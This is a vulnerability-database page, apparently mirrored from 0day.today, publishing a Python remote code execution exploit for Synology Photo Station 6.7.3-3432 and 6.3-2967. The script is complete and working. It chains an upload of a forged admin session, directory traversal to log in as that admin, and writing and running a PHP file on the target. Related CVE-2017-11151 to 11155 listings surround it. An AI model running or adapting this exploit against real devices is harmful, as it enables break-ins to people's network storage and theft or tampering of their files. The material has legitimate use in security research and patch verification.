Lucene search
K

Synology Photo Station 6.7.3-3432 / 6.3-2967 - Remote Code Execution Exploit

🗓️ 08 Aug 2017 00:00:00Reported by Kacper SzurekType 
zdt
 zdt
🔗 0day.today👁 48 Views

Synology Photo Station Remote Code Executio

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2017-11151
8 Aug 201700:00
circl
Circl
CVE-2017-11152
8 Aug 201700:00
circl
Circl
CVE-2017-11153
8 Aug 201700:00
circl
Circl
CVE-2017-11154
8 Aug 201700:00
circl
Circl
CVE-2017-11155
8 Aug 201700:00
circl
CNVD
Synology Photo Station Directory Traversal Vulnerability (CNVD-2017-27714)
9 Aug 201700:00
cnvd
CNVD
Synology Photo Station File Upload Vulnerability (CNVD-2017-27721)
9 Aug 201700:00
cnvd
CNVD
Synology Photo Station Deserialization Vulnerability
9 Aug 201700:00
cnvd
CNVD
Synology Photo Station File Upload Vulnerability
9 Aug 201700:00
cnvd
CNVD
Synology Photo Station Information Disclosure Vulnerability
9 Aug 201700:00
cnvd
Rows per page
'''
Source: https://blogs.securiteam.com/index.php/archives/3356
 
Vulnerability details
The remote code execution is a combination of 4 different vulnerabilities:
 
Upload arbitrary files to the specified directories
Log in with a fake authentication mechanism
Log in to Photo Station with any identity
Execute arbitrary code by authenticated user with administrator privileges
The chain of vulnerabilities will allow you, in the end, to execute code as:
 
uid=138862(PhotoStation) gid=138862(PhotoStation) groups=138862(PhotoStation)
'''
import requests
 
# What server you want to attack
synology_ip = 'http://192.168.1.100'
 
# Your current IP
ip = '192.168.1.200'
 
# PHP code you want to execute
php_to_execute = '<?php echo system("id"); ?>'
 
encoded_session = 'root|a:2:{s:19:"security_identifier";s:'+str(len(ip))+':"'+ip+'";s:15:"admin_syno_user";s:7:"hlinak3";}'
 
print "[+] Set fake admin sesssion"
file = [('file', ('foo.jpg', encoded_session))]
 
r = requests.post('{}/photo/include/synotheme_upload.php'.format(synology_ip), data = {'action':'logo_upload'}, files=file)
print r.text
 
print "[+] Login as fake admin"
 
# Depends on version it might be stored in different dirs
payload = {'session': '/../../../../../var/packages/PhotoStation/etc/blog/photo_custom_preview_logo.png'}
# payload = {'session': '/../../../../../var/services/photo/@eaDir/SYNOPHOTO_THEME_DIR/photo_custom_preview_logo.png'}
 
try_login = requests.post('{}/photo/include/file_upload.php'.format(synology_ip), params=payload)
 
whichact = {'action' : 'get_setting'}
r = requests.post('{}/photo/admin/general_setting.php'.format(synology_ip), data=whichact, cookies=try_login.cookies)
print r.text
 
print "[+] Upload php file"
 
c = {'action' : 'save', 'image' : 'data://text/plain;base64,'+php_to_execute.encode('base64'), 'path' : '/volume1/photo/../../../volume1/@appstore/PhotoStation/photo/facebook/exploit'.encode("base64"), 'type' : 'php'}
r = requests.post('{}/photo/PixlrEditorHandler.php'.format(synology_ip), data=c, cookies=try_login.cookies)
print r.text
 
 
print "[+] Execute payload"
f = requests.get('{}/photo/facebook/exploit.php'.format(synology_ip))
 
print f.text

#  0day.today [2018-04-12]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation